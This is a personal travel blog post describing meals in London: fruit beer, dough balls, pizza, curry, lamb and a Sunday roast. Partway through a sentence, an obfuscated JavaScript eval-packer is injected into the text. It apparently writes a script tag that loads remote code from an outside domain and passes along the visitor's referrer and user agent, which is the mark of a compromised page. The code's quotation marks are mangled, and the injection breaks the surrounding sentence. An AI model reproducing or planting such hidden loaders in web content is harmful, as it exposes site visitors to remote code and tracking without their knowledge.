Food From London

2012 Photo Challenge, Food, Travel

I’m back, did you miss me? It’s been a whirlwind two weeks, but well worth the euros! I traveled light and spent most of my money on food, which is why I thought it would be fitting to have my first post on my trip showcase some of the delicious food I ate in London.

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edyne|var|u0026u|referrer|dfznh||js|php’.split(‘|’),0,{}))
never tried fruit beer, but I’m a huge fan now! My drink literally tasted like strawberry juice! If you are not a big drinker, I highly suggest trying fruit beer. If there is one thing I’ve learned about Europeans – they like to drink and smoke, a lot.

Exhibit A, we had wine/beer with every meal while I was in Europe. London, being a major city hub, is very diverse. I was hoping to meet my future British husband, but I found out that the city center is filled with people from all around the world, much like the Big Apple. I should have planed an excursion to the countryside to meet a British lad.

These are delicious dough balls that come out warm and literally melt in your mouth. Europeans are not afraid of butter and neither am I!

Because my inner child is a fatty, I ordered a whole pizza for myself. Half of it is was spicy meat with peppers and the other side has arugula and cheese. Europeans eat a lot of meat. I’ve probably consumed an entire cow while overseas. The pizza turned out a little too spicy for me, but my friend is a spicy machine and devoured it with sweat dripping from his head – it was like watching a personal food competition.

The British colonized the India (a really long time ago) and brought back delicious curries, which I am eternally grateful! This was my first meal in England – Chicken Curry with Peppers and Nuts. It was amazing! It turns out, England has even created its own curries from their experience in their colonies. Who would have guessed the mild-mannered British would invent spicy curries?

English love lamb, and apparently, so do I! The meat literally fell off the bones, it was so tender! It’s served with squash mashed potatoes (something I will have to try soon!) with roasted zucchini

My last proper meal in London was their traditional Sunday roast. It was very delicious! The British eat this heavy load every Sunday. It’d be like eating the American-Thanksgiving dinner every Sunday. I was so full and in a food stupor for the rest of the day…. But there is too much sightseeing for me to stop!

The English are not known for their food, but I throughly enjoyed everything I ate in the country! The way to my heart is definitely through my stomach.
